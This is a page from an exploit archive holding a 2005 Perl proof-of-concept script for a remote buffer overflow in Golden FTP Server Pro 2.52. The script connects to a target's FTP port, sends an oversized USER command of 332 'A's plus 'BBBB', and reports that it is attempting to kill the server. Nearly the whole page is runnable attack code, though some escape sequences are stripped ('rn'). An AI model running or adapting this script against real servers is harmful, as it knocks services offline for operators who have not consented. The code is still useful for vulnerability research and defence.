[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Golden FTP Server Pro <= 2.52 (USER) Remote Buffer Overflow Exploit
# Published : 2005-04-27
# Author : Reed Arvin
# Previous Title : DataTrac Activity Console Denial of Service Exploit
# Next Title : Ethereal / tcpdump (rsvp_print) Infinite Loop Denial of Service Exploit


#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
#        GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
# http://www.goldenftpserver.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER " . "A" x 332 . "BBBBrn";

        sleep(1);

        print $socket "PASS " . "rn";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21n";
}
#===== End GoldenFTPServer_Overflow.pl =====

# www.Syue.com [2005-04-27]